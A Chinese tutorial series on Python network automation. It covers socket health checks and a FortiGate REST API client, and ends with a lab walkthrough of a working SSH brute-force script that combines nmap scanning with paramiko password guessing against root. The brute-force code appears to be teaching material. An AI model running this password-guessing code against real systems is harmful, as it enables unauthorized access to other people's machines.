Python 健康检查

[TOC]

前言

​ 本章我们通过Python Socket库来模拟负载设备对后端节点的健康检查

一、网络编程-Socket库

​ Socket是网络编程的一个抽象概念。通常我们用一个Socket表示“打开了一个网络链接”,而打开一个Socket需要知道目标计算机的IP地址和端口号,再指定协议类型即可。

# Socket 类型

1
套接字格式:socket(family,type[,protocal]) 

使用给定的地址族、套接字类型、协议编号(默认为0)来创建套接字。

image-20220807005146936

# Socket 函数

image-20220807005201902

二、模拟TCP健康检查

​ 运用Socket来模拟tcp_client不断向目标tcp_server进行connect()根据此方法返回值对目标tcp端口是否开发进行判断,客户端请求频率20s请求一次,如果服务器无响应,间隔5s进行重试。再无响应,则判断服务器端口故障,打印告警信息(包括当时的时间、目标IP和Port)

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket
import time

addr = input("请输入目标服务器地址:")
port = int(input("请输入目标端口:"))


def tcp_con(addr, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((addr, port))
print('{},目标服务器:{},端口:{},状态:[正常]'.format(time.strftime("%Y-%m-%d-%H:%M:%S", time.localtime()), addr, port))

while True:
try:
tcp_con(addr, port)
time.sleep(20)
except:
time.sleep(5)
try:
tcp_con(addr, port)
except:
print('{},目标服务器:{},端口:{},状态:[错误]'.format(time.strftime("%Y-%m-%d-%H:%M:%S", time.localtime()), addr, port))
time.sleep(15

效果:

1
2
3
4
请输入目标服务器地址:127.0.0.1
请输入目标端口:9999
2021-04-12-16:46:06,目标服务器:127.0.0.1,端口:9999,状态:[正常]
2021-04-12-16:46:26,目标服务器:127.0.0.1,端口:9999,状态:[正常]

三、了解UDP健康检查机制

​ TCP是建立可靠连接,并且通信双方都可以以流的形式发送数据。相对TCP,UDP则是面向无连接的协议。

​ 使用UDP协议时,不需要建立连接,只需要知道对方的IP地址和端口号,就可以直接发数据包。但是,能不能到达就不知道了。

​ 关于UDP的健康检查方式,我们参考F5负载设备的检测机制。当udp-client(F5)向udp-server:9999(节点服务器)发送udp数据时,假设udp-server运行正常,并且没有设置向客户端返回任何消息,我们在udp-client收不到任何数据。此时F5设备将会判断udp-server处于正常状态,没有消息就是好消息。

image-20220807005309124

​ 假设udp-server运行异常,监听的udp端口无法接受数据。此时如果udp-client向udp-server:8888发送数据,会收到udp-server返回的ICMP 报文,回复“Destination unreachable (Port unreachable” F5将会判断udp-server处于异常状态,将节点踢出节点池。

image-20220807005331410

​ 为了保证每次我们都可以将失效的udp-server踢出节点池,我们通常将udp健康检查和ping健康检查结合起来使用,避免服务器因为宕机而绕过udp健康检查。

​ 其实除了这种比较简单通用的方式,我们还可以在udp服务器上设置,每次收到udp客户端发送的数据后,回复一条数据固定的数据例如“Welcome”,我们在客户端上检测是否收到这条数据即可。

四、模拟HTTP健康检查

​ HTTP的健康检查方式对比TCP来说更加可靠,可以避免端口up,但业务无法访问的情况。或者是页面访问状态码正常,但内容404 not found。

检测HTTP返回状态码&HTTP页面内容

​ 每10s访问一次品优购购物网站,如果页面返回的状态码为200并且html内容中包括“品优购,欢迎您!”的字样时判断服务器状态正常,否则报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import socket
import time

def httpCheck(addr, port, key):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 建立连接:
s.connect((addr, port))
# 发送数据:
cmd = 'GET / HTTP/1.1\r\nHost:{} \r\nConnection: close\r\n\r\n'.format(addr)
s.send(cmd.encode())
# 接收数据:
buffer = []
while True:
# 每次最多接收1k字节:
d = s.recv(1024)
if d:
buffer.append(d)
else:
break
data = b''.join(buffer)

# 关闭连接:
s.close()
header, html = data.split(b'\r\n\r\n', 1)

if b'HTTP/1.1 200 OK' in header:
print('{},目标服务器:{},端口:{},网页状态:[正常],网站状态码[200]'.format(time.strftime("%Y-%m-%d-%H:%M:%S", time.localtime()), addr, port,))

if key.encode() in html:
print('{},目标服务器:{},端口:{},网页状态:[正常],检测关键字[{}]'.format(time.strftime("%Y-%m-%d-%H:%M:%S", time.localtime()), addr, port, key))
else:
print('{},目标服务器:{},端口:{},关键字检测:[错误]'.format(time.strftime("%Y-%m-%d-%H:%M:%S", time.localtime()), addr,port,))
else:
print('{},目标服务器:{},端口:{},网页状态码:[错误]'.format(time.strftime("%Y-%m-%d-%H:%M:%S", time.localtime()), addr, port,))
except:
print('{},目标服务器:{},端口:{},状态:[TCP链接错误]'.format(time.strftime("%Y-%m-%d-%H:%M:%S", time.localtime()), addr, port))


if __name__ == '__main__':
while True:
httpCheck('172.16.126.80', 8080, '品优购,欢迎您!')
time.sleep(10)

业务正常时的日志:

1
2
3
4
5
6
7
8
9
10
2021-04-13-15:03:23,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],网站状态码[200]
2021-04-13-15:03:23,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],检测关键字[品优购,欢迎您!]
2021-04-13-15:03:33,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],网站状态码[200]
2021-04-13-15:03:33,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],检测关键字[品优购,欢迎您!]
2021-04-13-15:03:44,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],网站状态码[200]
2021-04-13-15:03:44,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],检测关键字[品优购,欢迎您!]
2021-04-13-15:03:55,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],网站状态码[200]
2021-04-13-15:03:55,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],检测关键字[品优购,欢迎您!]
2021-04-13-15:04:08,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],网站状态码[200]
2021-04-13-15:04:08,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],检测关键字[品优购,欢迎您!]

手动修改检测关键字并重启服务器:

image-20220807005454335

1
2
3
4
5
6
2021-04-13-15:06:46,目标服务器:172.16.126.80,端口:8080,状态:[TCP链接错误]
2021-04-13-15:06:56,目标服务器:172.16.126.80,端口:8080,状态:[TCP链接错误]
2021-04-13-15:07:18,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],网站状态码[200]
2021-04-13-15:07:18,目标服务器:172.16.126.80,端口:8080,关键字检测:[错误]
2021-04-13-15:07:29,目标服务器:172.16.126.80,端口:8080,网页状态:[正常],网站状态码[200]
2021-04-13-15:07:29,目标服务器:172.16.126.80,端口:8080,关键字检测:[错误]

​ 服务关闭后无法完成TCP链接,出现“TCP链接错误”。服务启动后,页面可以正常返回状态码,但是检测到关键字不匹配,出现”关键字检测错误”

Python Fortigate REST API

[TOC]

前言

​ 本篇我们来看看如果通过厂商开放的API接口获取更多我们想要的数据。

一、RESTful API概述

​ RESTful架构是一种流行的互联网软件架构,它结构清晰,符合标准,易于理解,扩展方便。 REST是Representational State Transfer的缩写,翻译为“表现层状态转化”。表现层其实就是资源,因此 可以理解为“资源状态转化”。 网络应用上的任何实体都可以看作是一种资源,通过一个URI(统一资源定位符)指向它。

FortiGate支持两种类型

1
2
3
4
5
API CMDB API以及Monitor API

-CMDB API:用于资源的检索、创建、移动、删除、配置,url以/api/v2/cmdb起始

-Monitor_API:用于监控动态数据、刷新数据、重置数据统计、重启设备,url以api/v2/monitor起始

二、身份认证

当我们请求Fortigate REST API的时,我们需要几个参数:

1、请求的URL 例如:http://192.168.10.103/logincheck?username=admin&secretkey=admin

设备IP:192.168.10.103,账号:admin,密码:admin 角色:管理员(角色权限将会影响你可以访问那些对象和操作)

2、身份验证令牌:登录成功后,令牌将会包含在APScookie中

3、Cross-Site Request Forgery (CSRF) Tokens 跨站伪造令牌 (for HTTP POST/PUT/DELETE methods (HTTP GET does not require CSRF token))

三、CSRF token

​ CSRF参数是一项重要的安全措施,当我们向Fortigate提交一个POST请求时,它必须包含在POST方法的data参数中,或者也可以将它的值赋给HTTP Header中 X-CSRFTOKEN字(后续我们也会使用这种方法)

四、尝试登录

为了方便理解,在这里先用GUI工具(Advanced REST client for Mac)进行操作

  1. 发送POST登录请求

image-20220807004250954

  1. Fortigate响应结果

我们需要的数据在Response Headers中,关键数据只有两个都在Set-cooike字段下

1
2
3
ccsrftoken="6E277775EE5E1FEF5B2EA96E2EB2"

APSCOOKIE_10657574917414937821="Era%3D1%26Payload%3Dg7+hPrzC8JwMEDrQCiUK1TwLB%2FGJz9qcFcd8xVdnoNkeYJNNe+ndhjcwbRUbhZFx%0A0vcIX4U5UN639+YsplZ0l3uYnHRxCHR+ft11VOEu6sDD9jU9fUuxfhhlvIvvxluW%0At6I4Z2gZMuP+PYs4R0hMALSgB34lzPlxDfkaSEcxNVMbAcjvwTsLWos7zNk5uLdr%0AuIP4stf5D1b90bFXE6vwnw%3D%3D%0A%26AuthHash%3Dxl4jOk32Eg6snLvYANRzwW+dYJUA%0A"

登录成功后我们拿到了想要的数据,接下来就来看看如果获取设备信息,不过之前我们需要先了解它所支持的HTTP请求方法和返回的响应码。

五、支持的HTTP方法

image-20220807004338141

六、FortiOS REST API响应代码

image-20220807004348017

七、GUI工具-获取设备信息

  1. 示例:CMDB API:获取防火墙地址信息

image-20220807004422789

​ 在我们向Fortigate提交任何HTTP请求时必须要带着cookie,并且除了GET以外的方式我们都需要在HTTP Header中插入 X-CSRFTOKEN字段

image-20220807004441280

​ 我们添加的cookie字段包含ccsrftoken和APSCOOKIE_10657574917414937821两个值

image-20220807004500414

  1. 示例:Monitor API:获取静态路由信息

image-20220807004521481

​ 通过在GUI工具上的两次示例,很好的展示了Fortigate REST API的整个流程,首先需要在/logincheck成功登录,获取认证信息,然后带着认证令牌和Cookie信息访问资源URL获取信息。但GUI工具操作效率低,无法存储数据。我们该如何快速高效的拿到我们需要的数据呢?下面就看看如何使用Python来完成这一系列的操作~

八、Python& Fortigate REST API

  1. 创建会话

​ 我们需要使用session来保存每次访问的cookie值,让后续这个对象的操作(GET/POST/PUT/DELETE)都在一个session进行,

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import json


class FGT(object):
"""
创建一个会话,后面的API调用将会带着cookie进行访问,其中包括(CSRF Tokens 和 APSCOOKIE.)
"""
def __init__(self, host):
self.host = host
self.url_prefix = 'http://' + self.host
self.session = requests.session()
  1. 模拟登录
1
2
3
4
5
6
7
"""
登录API接口获取CSRF Tokens 和 APSCOOKIE
"""
def login(self, username, password):
url = self.url_prefix + "/logincheck" + '?username=' + username + '&secretkey=' + password
self.session.post(url, verify=False)
return self.session.cookies
  1. 将CSRF Tokens令牌插入HTTP Header
1
2
3
4
5
6
7
8
"""
插入头部字段令牌
"""
def insert_csrf(self):
for cookie in self.session.cookies:
if cookie.name == 'ccsrftoken':
csrftoken = cookie.value[1:-1]
self.session.headers.update({'X-CSRFTOKEN': csrftoken})
  1. 编写HTTP四种请求方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
"""
get方法
"""
def get(self, url_postfix, params=None, data=None, verbose=True):
url = self.url_prefix + url_postfix
#self.insert_csrf() get方法不需要csrf token
res = self.session.get(url, params=params, data=json.dumps(data))
print(res.json())
return res.json()


"""
post方法
"""
def post(self, url_postfix, params=None, data=None, verbose=True):
url = self.url_prefix + url_postfix
self.insert_csrf()
res = self.session.post(url, params=params, data=json.dumps(data)) #将数据变成浏览器可以读得懂的格式
print(res.json())
return res.json()

"""
put方法
"""
def put(self, url_postfix, params=None, data=None, verbose=True):
url = self.url_prefix + url_postfix
self.insert_csrf()
res = self.session.put(url, params=params, data=json.dumps(data))
print(res.json())
return res.json()

"""
delete方法
"""
def delete(self, url_postfix, params=None, data=None, verbose=True):
url = self.url_prefix + url_postfix
self.insert_csrf()
res = self.session.delete(url, params=params, data=json.dumps(data))
print(res.json())
return res.json()
  1. 注销
1
2
3
4
5
6
7
"""
注销
"""
def logout(self):
url = self.url_prefix + "/logout"
self.session.post(url, verify=False)
print("成功注销")
  1. 获取信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
if __name__ == "__main__":
fgt = FGT('192.168.10.103')
fgt.login('admin','admin')

"""
CMDB API:用于资源的检索、创建、移动、删除、配置,所有操作的动作url以/api/v2/cmdb起始
"""

"""
fgt.get('/api/v2/cmdb/firewall/address', params={"action":"schema", "vdom":"root"})
fgt.get('/api/v2/cmdb/firewall/address', params={"action":"default","vdom":"root"})
fgt.get('/api/v2/cmdb/firewall/address', params={"vdom":"root"})
fgt.post('/api/v2/cmdb/firewall/address', params={"vdom": "root"}, data={"json": {"name": "attacker111", "subnet": "2.2.1.3 255.255.255.255"}})
fgt.get('/api/v2/cmdb/firewall/address', params={"vdom": "root"},)
fgt.post('/api/v2/cmdb/firewall.service/custom', params={"vdom": "root"},
data={"json": {"name": "server1_port",
"tcp-portrange": 80}}, )
fgt.put('/api/v2/cmdb/firewall/address/attacker1', params={"vdom": "root"},
data={"json": {"name": "KKming"}})
fgt.post('/api/v2/cmdb/firewall/policy', params={"vdom": "root"},
data={"json": {"policyid": 98,
"srcintf": [{"name": "port1"}],
"srcaddr": [{"name": "all"}],
"dstintf": [{"name": "port1"}],
"dstaddr": [{"name": "all"}],
"service": [{"name": "ALL"}],
"schedule": "always",
"action": "accept"}})
#将策略id为1的移动到策略id为98后面
fgt.put('/api/v2/cmdb/firewall/policy/1', params={"vdom": "root", "action": "move", "after": 98})
fgt.delete('/api/v2/cmdb/firewall/address/attacker2', params={"vdom": "root"})
#删除所有自定义地址
fgt.delete('/api/v2/cmdb/firewall/address', params={"vdom": "root"})
"""

"""
Monitor_API:用于监控动态数据、刷新数据、重置数据统计、重启设备,url以api/v2/monitor起始
"""

"""
fgt.get('/api/v2/monitor/router/ipv4', params={"vdom": "root"})
fgt.get('/api/v2/monitor/firewall/policy', params={"vdom": "root"})
fgt.post('/api/v2/monitor/firewall/policy/clear_counters', params={"vdom": "root", "policy": "[1]"})
"""


"""
退出
"""
fgt.logout()
  1. 拓展

​ API相比传统的Telnetlib方法让我们可以更稳定更快的获取到高质量(json数据格式)的数据,可以更加便捷的对防火墙进行数据统计。

Python 网络综合实验

[TOC]

前言

​ 本篇我们进行一次网络综合实验 ,涉及Python3-Telnetlib模块,HTML5、Django框架、MariaDB数据库、re正则表达式等

一、实验目标

阶段1 -通过Telnetlib模块模拟登录网络设备并收集关键信息。

阶段2 -网络设备的密码表和关键信息存储在MariaDB数据库中,便于后续数据操作和数据安全性

阶段3 -用户可以在Web界面上对密码表进行增加和删除的操作,并且可以在页面点击获取到设备的关键信息。

二、逻辑图

image-20220807003554181

三、效果展示

image-20220807003612026

  1. 功能一、收集设备信息

image-20220807003634682

  1. 功能二、增加设备信息

image-20220807003652426

  1. 功能三、删除“编号17”设备信息

image-20220807003720057

Python 网络设备暴力破解

[TOC]

前言

​ 本章利用nmap和Python实现针对网络设备命令行的暴力破解

一、如何使用nmap实现端口扫描

  1. 环境搭建
  • Linux-Centos7.4
1
2
3
4
5
#关闭防火墙和Selinux
systemctl stop firewalld.service
systemctl disable firewalld.service
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config
grep SELINUX=disabled /etc/selinux/config
  • 安装Python3.7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1、安装依赖库(因为没有这些依赖库可能在源代码构件安装时因为缺失底层依赖库而失败)。
yum -y install wget gcc zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel libffi-devel

2、下载Python源代码并解压缩到指定目录。
wget https://www.python.org/ftp/python/3.7.6/Python-3.7.6.tar.xz
xz -d Python-3.7.6.tar.xz
tar -xvf Python-3.7.6.tar

3、切换至Python源代码目录并执行下面的命令进行配置和安装。
cd Python-3.7.6
./configure --prefix=/usr/local/python37 --enable-optimizations
make && make install

4、修改用户主目录下名为.bash_profile的文件,配置PATH环境变量并使其生效。
cd ~
vim .bash_profile
#... 此处省略上面的代码 ...

export PATH=$PATH:/usr/local/python37/bin

#... 此处省略下面的代码 ...

5、激活变量
source .bash_profile
  • 安装nmap工具
1
2
#版本:Nmap 6.40
yum -y install nmap
  • 第三方库安装python-nmap
1
2
3
4
5
6
7
#Install from PIP
pip3 install python-nmap

#Manual installation
tar xvzf python-nmap-0.6.1.tar.gz
cd python-nmap-0.6.1
python setup.py install

python-nmap是nmap命令的封装,具体操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
>>> import nmap
>>> nm = nmap.PortScanner()
>>> nm.scan('127.0.0.1', '22-443')
>>> nm.command_line()
'nmap -oX - -p 22-443 -sV 127.0.0.1'
>>> nm.scaninfo()
{'tcp': {'services': '22-443', 'method': 'connect'}}
>>> nm.all_hosts()
['127.0.0.1']
>>> nm['127.0.0.1'].hostname()
'localhost'
>>> nm['127.0.0.1'].state()
'up'
>>> nm['127.0.0.1'].all_protocols()
['tcp']
>>> nm['127.0.0.1']['tcp'].keys()
[80, 25, 443, 22, 111]
>>> nm['127.0.0.1'].has_tcp(22)
True
>>> nm['127.0.0.1'].has_tcp(23)
False
>>> nm['127.0.0.1']['tcp'][22]
{'state': 'open', 'reason': 'syn-ack', 'name': 'ssh'}
>>> nm['127.0.0.1'].tcp(22)
{'state': 'open', 'reason': 'syn-ack', 'name': 'ssh'}
>>> nm['127.0.0.1']['tcp'][22]['state']
'open'

>>> for host in nm.all_hosts():
>>> print('----------------------------------------------------')
>>> print('Host : %s (%s)' % (host, nm[host].hostname()))
>>> print('State : %s' % nm[host].state())
>>> for proto in nm[host].all_protocols():
>>> print('----------')
>>> print('Protocol : %s' % proto)
>>>
>>> lport = nm[host][proto].keys()
>>> lport.sort()
>>> for port in lport:
>>> print ('port : %s\tstate : %s' % (port, nm[host][proto][port]['state']))
----------------------------------------------------
Host : 127.0.0.1 (localhost)
State : up
----------
Protocol : tcp
port : 22 state : open
port : 25 state : open
port : 80 state : open
port : 111 state : open
port : 443 state : open


>>> print(nm.csv())
host;protocol;port;name;state;product;extrainfo;reason;version;conf
127.0.0.1;tcp;22;ssh;open;OpenSSH;protocol 2.0;syn-ack;5.9p1 Debian 5ubuntu1;10
127.0.0.1;tcp;25;smtp;open;Exim smtpd;;syn-ack;4.76;10
127.0.0.1;tcp;53;domain;open;dnsmasq;;syn-ack;2.59;10
127.0.0.1;tcp;80;http;open;Apache httpd;(Ubuntu);syn-ack;2.2.22;10
127.0.0.1;tcp;111;rpcbind;open;;;syn-ack;;10
127.0.0.1;tcp;139;netbios-ssn;open;Samba smbd;workgroup: WORKGROUP;syn-ack;3.X;10
127.0.0.1;tcp;443;;open;;;syn-ack;;


>>> nm.scan(hosts='192.168.1.0/24', arguments='-n -sP -PE -PA21,23,80,3389')
>>> hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
>>> for host, status in hosts_list:
>>> print('{0}:{1}'.host)
192.168.1.0:down
192.168.1.1:up
192.168.1.10:down
192.168.1.100:down
192.168.1.101:down
192.168.1.102:down
192.168.1.103:down
192.168.1.104:down
192.168.1.105:down
[...]

使用nmap进行端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/local/bin/python3

import nmap

"""
SSH端口扫描
"""

def PortScan(target):
openHost = []
nm = nmap.PortScanner()
nm.scan(target[0], target[1])
for host in nm.all_hosts():
print('------------------------------')
print('Host:{}{}'.format(host,nm[host].hostname()))
print('Stat:{}'.format(nm[host].state()))
for proto in nm[host].all_protocols():
print('-----------')
print('Protocol:{}'.format(proto))

lport = nm[host][proto].keys()
for port in lport:
state = nm[host][proto][port]['state']
print('Port:{} State:{}'.format(port,state))
return openHost


target_list = input('输入扫描的主机和端口范围(例如:192.168.1.199,18-22):').split(',')
PortScan(target_list)

输出:

1
2
3
4
5
6
7
8
9
10
11
12
[root@localhost ~]# python3 simple01.py 
输入扫描的主机和端口范围(例如:192.168.1.199,18-22):192.168.1.199,18-22
------------------------------
Host:192.168.1.199
Stat:up
-----------
Protocol:tcp
Port:18 State:closed
Port:19 State:closed
Port:20 State:closed
Port:21 State:closed
Port:22 State:open

​ 上面的例子中我们捕获用户输入的字符串扫描其中的主机和端口,大家也可以更具python-nmap的语法进行更加负载的扫描任务。比如扫描一个网段的主机、扩大端口范围、改变探测目标的方式。

​ 详情请参考 shiyan 同学的博客-shiyan:Nmap 参数详解(中 / 英)

二、利用Python-paramiko模拟SSH客户端登录

  • 安装paramiko工具
1
pip3 install paramiko
  • 模拟SSH登录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/local/bin/python3
import paramiko

# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
ssh.connect(hostname='192.168.1.198', port='22', username="root", password='Pwd@1234')
# 执行命令
stdin, stdout, stderr = ssh.exec_command('pwd')
# 获取命令结果
print('在远端执行pwd命令:{}'.format(stdout.read()))


------------------------输出结果-----------------------
在远端执行pwd命令:b'/root\n'
------------------------------------------------------

三、一个例子-模拟暴力破解

​ 在上面两部分我们已经可以进行简单的端口扫描和SSH登录,不过仅仅限于对于已知目标、已知端口、已知密码的情况下。在模拟暴力破解的过程中,我们需要扩大扫描范围,并添加密码表,用于密码碰撞,调用内置库time计算程序运行时间。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/local/bin/python3

import paramiko
import time
import nmap


"""
SSH端口扫描
"""

def PortScan(target):
openHost = []
nm = nmap.PortScanner()
nm.scan(target[0], target[1])
for host in nm.all_hosts():
print('------------------------------')
print('Host:{}{}'.format(host,nm[host].hostname()))
print('Stat:{}'.format(nm[host].state()))
for proto in nm[host].all_protocols():
print('-----------')
print('Protocol:{}'.format(proto))

lport = nm[host][proto].keys()
for port in lport:
state = nm[host][proto][port]['state']
print('Port:{} State:{}'.format(port,state))
for pwd in password:
openHost.append({'hostname':host, 'port':port,'pwd':pwd,'state':state})
return openHost



"""
密码表:将密码表文件化,便于后期维护。无需修改此处代码,只要修改密码表文件即可。
"""
password = []
fo = open('password.txt','r')
for pwd in fo:
password.append(pwd.replace('\n', '')) #replace方法去除文件行尾的换行符

"""
模拟SSH登录
"""
def sshclient(openHost):
# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

for x in openHost:
if x['state'] == "open":
try:
# 连接服务器
ssh.connect(hostname=x['hostname'], port=x['port'], username="root", password=x['pwd'], banner_timeout=500, auth_timeout=300, timeout=300)
# 执行命令
stdin, stdout, stderr = ssh.exec_command('ip a')
# 获取命令结果
print('目标主机:{},SSH端口{},暴力破解成功!!! 使用密码:{},在远端执行pwd命令:'.format(x['hostname'],x['port'],x['pwd']),stdout.read())
except:
print('目标主机:{},SSH端口{},暴力破解失败!!! 使用密码:{}'.format(x['hostname'],x['port'],x['pwd']))



def main():
target_list = input('输入扫描的主机和端口范围(例如:192.168.1.199,18-22):').split(',')
start = time.perf_counter()
sshclient(PortScan(target_list))
end = time.perf_counter()
print('暴力破解一共使用{:.2f}秒'.format(end - start))



if __name__ == '__main__':
main()

代码解读:从代码的框架来看,总共定义三个模块函数和一个主函数。

1、密码表模块:逐行读入文件内容,每行是一个密码。

2、SSH端口扫描模块:扫描主表主机的端口并将hostname、port、state、pwd作为函数的返回值

3、模拟SSH登录模块:根据主机信息进行模拟登录,登录成功后,执行ip a命令

4、main()主函数:计算程序时间,并执行上述模块。

5、密码表:password.txt

1
2
3
4
5
6
7
8
9
1qaz2wsx
qwerjkl123
Pwd@1234
19981109
29123kdkdfjf
fj3298kdskkmf2
dsikmkckfie9
di29odsklsdjf
2300fgjgikvof

输出用时:40.3秒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[root@localhost ~]# python3 copy_namp_tools.py
输入扫描的主机和端口范围(例如:192.168.1.199,18-22):192.168.1.198-199,18-22
------------------------------
Host:192.168.1.198
Stat:up
-----------
Protocol:tcp
Port:18 State:closed
Port:19 State:closed
Port:20 State:closed
Port:21 State:closed
Port:22 State:open
------------------------------
Host:192.168.1.199
Stat:up
-----------
Protocol:tcp
Port:18 State:closed
Port:19 State:closed
Port:20 State:closed
Port:21 State:closed
Port:22 State:open
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:1qaz2wsx
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:qwerjkl123
目标主机:192.168.1.198,SSH端口22,暴力破解成功!!! 使用密码:Pwd@1234,在远端执行pwd命令: b'1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\n link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n inet 127.0.0.1/8 scope host lo\n valid_lft forever preferred_lft forever\n inet6 ::1/128 scope host \n valid_lft forever preferred_lft forever\n2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000\n link/ether 00:0c:29:a7:34:0e brd ff:ff:ff:ff:ff:ff\n inet 192.168.1.198/24 brd 192.168.1.255 scope global noprefixroute ens33\n valid_lft forever preferred_lft forever\n inet6 fe80::543a:bea3:88f:2867/64 scope link noprefixroute \n valid_lft forever preferred_lft forever\n3: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000\n link/ether 52:54:00:a5:50:b8 brd ff:ff:ff:ff:ff:ff\n inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0\n valid_lft forever preferred_lft forever\n4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000\n link/ether 52:54:00:a5:50:b8 brd ff:ff:ff:ff:ff:ff\n'
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:19981109
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:29123kdkdfjf
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:fj3298kdskkmf2
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:dsikmkckfie9
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:di29odsklsdjf
目标主机:192.168.1.198,SSH端口22,暴力破解失败!!! 使用密码:2300fgjgikvof
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:1qaz2wsx
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:qwerjkl123
目标主机:192.168.1.199,SSH端口22,暴力破解成功!!! 使用密码:Pwd@1234,在远端执行pwd命令: b'1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\n link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n inet 127.0.0.1/8 scope host lo\n valid_lft forever preferred_lft forever\n inet6 ::1/128 scope host \n valid_lft forever preferred_lft forever\n2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000\n link/ether 00:0c:29:ac:8f:c5 brd ff:ff:ff:ff:ff:ff\n inet 192.168.1.199/24 brd 192.168.1.255 scope global noprefixroute ens33\n valid_lft forever preferred_lft forever\n3: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000\n link/ether 52:54:00:ae:b0:96 brd ff:ff:ff:ff:ff:ff\n inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0\n valid_lft forever preferred_lft forever\n4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000\n link/ether 52:54:00:ae:b0:96 brd ff:ff:ff:ff:ff:ff\n'
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:19981109
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:29123kdkdfjf
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:fj3298kdskkmf2
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:dsikmkckfie9
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:di29odsklsdjf
目标主机:192.168.1.199,SSH端口22,暴力破解失败!!! 使用密码:2300fgjgikvof
暴力破解一共使用40.34秒

四、threading多线程处理

